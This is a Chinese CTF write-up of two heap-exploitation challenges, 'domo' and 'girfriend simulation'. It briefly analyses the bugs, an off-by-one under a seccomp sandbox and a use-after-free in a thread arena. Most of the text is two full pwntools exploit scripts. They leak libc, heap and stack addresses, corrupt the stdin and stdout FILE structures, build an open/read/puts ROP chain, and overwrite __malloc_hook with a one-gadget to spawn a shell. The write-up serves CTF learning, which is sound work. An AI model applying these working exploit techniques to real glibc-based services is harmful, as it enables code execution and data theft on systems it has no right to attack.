分享一个比赛的两道题目
domo
漏洞分析
程序漏洞十分明明显,有一个off by one和任意地址写,难点在于程序使用了seccomp开启了沙箱,同时会对malloc_hook和realloc_hook检测是否写入,如果写入了,就不能再进行菜单操作,也就不能用malloc去触发onegadget。
但是出题人使用seccomp不是在程序开头,而是在程序结束时,这就造成了几个非预期解。比如seccomp会调用calloc,所以可以写calloc_hook来触发onegadget或则利用scanf输入大量字节触发malloc,进而可以通过写__malloc_hook来获得shell。
如果出题人是将seccomp用在开头,那么就不会有这些非预期解了,就只能用预期解来做。由于seccomp限制了execve,所以我们只能用orw来做,但是如何用程序的漏洞来达到写程序的stack,构造ROP呢?这就是这道题有意思的地方。
思路是这样的:
- 攻击stdout,来输出environ的内容,environ的值是一个栈的地址,这个栈地址是栈底信息的指针,调试一下可以看到,栈底保存了程序环境变量,程序名等等信息。==>泄漏栈地址
- 攻击stdin,修改其缓冲区为main函数储存返回地址的栈地址。
- 构造ROP链,修改栈中的数据,来获得flag
这里最有趣的一点就是攻击stdin,在之前通常都是攻击stdout来泄漏libc地址。
攻击stdin的方式就是将其的IO_Buf修改为栈地址,这样输入的数据就会先存放在栈地址中,进而可以构造ROP。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
|
from pwn import *
from LibcSearcher import *
if args['REMOTE']:
sh=remote('node3.buuoj.cn',29731)
else:
sh=process('./domo')
if args['I386']:
context.arch='i386'
else:
context.arch='amd64'
if args['DEBUG']:
context.log_level='debug'
libc=ELF('./libc.so.6')
def choice(elect):
sh.recvuntil('>')
sh.sendline(str(elect))
def add(size,content):
choice(1)
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.sendline(content)
def edit(addr,num):
choice(4)
sh.recvuntil(':')
sh.sendline(str(addr))
sh.recvuntil(':')
sh.send(num)
def show(index):
choice(3)
sh.recvuntil(':')
sh.sendline(str(index))
def delete(index):
choice(2)
sh.recvuntil(':')
sh.sendline(str(index))
gdb.attach(sh,'''
b*0x7ffff77e7102
c
''')
add(0x80,'a') #0
add(0x60,'a') #1
add(0x60,'a') #2
delete(0) #-0
delete(1) #-1
delete(2) #-2
#leak libc
add(0x80,'') #0
show(0)
sh.recvuntil('\n')
sh.recvuntil('\n')
libc_base=u64(('\n'+sh.recvuntil('\n').replace('\n','')).ljust(8,'\x00'))-0x3c4b0a
environ_addr=libc_base+libc.symbols['environ']
stdout_hook=libc_base+libc.symbols['_IO_2_1_stdout_']
stdin_hook=libc_base+libc.symbols['_IO_2_1_stdin_']
_IO_file_jumps=libc_base+libc.symbols['_IO_file_jumps']
print hex(stdin_hook)
#leak heap
add(0x60,'') #1
show(1)
sh.recvuntil('\n')
sh.recvuntil('\n')
heap=u64(('\n'+sh.recvuntil('\n').replace('\n','')).ljust(8,'\x00'))-0x0a
add(0x60,'') #2
print hex(heap)
#leak stack
add(0x60,'') #3
add(0xf0,'a') #4
add(0x60,'a') #5
delete(3) #-3
add(0x68,p64(0)*12+p64(0xd0)) #3
delete(1) #-1
add(0x60,p64(0)+p64(0xd1)+p64(heap+0x140)*2+p64(0)*2+p64(heap+0x120)*2) #1
delete(4) #-4
delete(3) #-3
add(0x110,p64(0)*11+p64(0x71)+p64(stdout_hook-0x43))
add(0x60,'')
payload='\x00'*3+p64(0)*5+p64(_IO_file_jumps)+p64(0xfbad1811)+p64(0)*3+p64(environ_addr)+p64(environ_addr+8)
print hex(len(payload))
add(0x68,payload)
sh.recvuntil('\n')
stack=u64(sh.recv(8))-0xf2
#modify stdin
delete(4)
delete(3)
edit(stdin_hook-0x20,'\x71')
add(0x110,p64(0)*11+p64(0x71)+p64(stdin_hook-0x28))
add(0x60,'')
payload=p64(0)+p64(_IO_file_jumps)+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack)+p64(stack+0x100)
print hex(len(payload))
add(0x60,payload)
add(0xa0,'./flag\x00'.ljust(8,'\x00'))
#rop
pop_rdi_ret=libc_base+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc_base+libc.search(asm('pop rsi\nret')).next()
pop_rdx_ret=libc_base+libc.search(asm('pop rdx\nret')).next()
open_=libc_base+libc.symbols['open']
read=libc_base+libc.symbols['read']
puts=libc_base+libc.symbols['puts']
flag=heap+0x250
payload=p64(pop_rdi_ret)+p64(flag)+p64(pop_rsi_ret)+p64(2)+p64(open_)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag+0x10)+p64(pop_rdx_ret)+p64(0x20)+p64(read)
payload+=p64(pop_rdi_ret)+p64(flag+0x10)+p64(puts)+p64(0x6161616161)
print hex(pop_rdi_ret)
sh.sendlineafter('>','5\n'+payload)
sh.interactive()
|
girfriend simulation
漏洞分析
这道题有趣的地方是可以开启多个线程,每个线程存在UAF漏洞,但是线程的堆块并不arena是释放后就返回堆块的,不想main arena有这些管理机制,因此如果线程的堆块不是在main arena里面的话,我们是无法利用的,需要想办法把它的堆弄到main arena里面去。
刚好libc的版本是2.23,线程arena是有限的,当线程arena分配完了后,线程就会使用main arena,这个时候我们就达到了目的。
接下来的任务就是如何去判断线程的堆是否在main arena里面。我们可以先创建一个promise,然后在删除掉,再创建一个promise,这个时候的promise有上一次创建的promise的数据,可以达到泄漏的目的,因此可以依据泄漏的数据来判断是否再main arena中。
获得再main arena中的线程后,利用就很简单了,不赘诉了。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
from pwn import *
from LibcSearcher import *
if args['REMOTE']:
sh=remote()
else:
sh=process('./pwn')
if args['I386']:
context.arch='i386'
else:
context.arch='amd64'
if args['DEBUG']:
context.log_level='debug'
def choice(elect):
sh.recvuntil('>>')
sh.sendline(str(elect))
def add(size,content):
choice(1)
sh.recvuntil('size?')
sh.sendline(str(size))
sh.recvuntil(':')
sh.sendline(content)
def show():
choice(3)
def delete():
choice(2)
sh.sendline(str(9))
for i in range(8):
add(0x10,'a')
delete()
add(0x10,'11111111')
show()
sh.recvuntil('11111111')
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))
print hex(heap_addr)
choice(5)
add(0x60,'a')
delete()
choice(5)
sh.recvuntil('wife:')
stdout_addr=int(sh.recvuntil('\x1b').replace('\x1b',''),16)
libc=LibcSearcher('_IO_2_1_stdout_',stdout_addr)
libc_base=stdout_addr-libc.dump('_IO_2_1_stdout_')
realloc=libc_base+libc.dump('realloc')
malloc_hook=libc_base+libc.dump('__malloc_hook')
onegadget=libc_base+0x4526a
print hex(onegadget)
sh.recvuntil('impress')
sh.send(p64(malloc_hook-0x23))
sh.sendline('a')
sh.recvuntil('Questionnaire')
sh.sendline('\x00'*0xb+p64(onegadget)+p64(realloc+4))
gdb.attach(sh)
sh.interactive()
|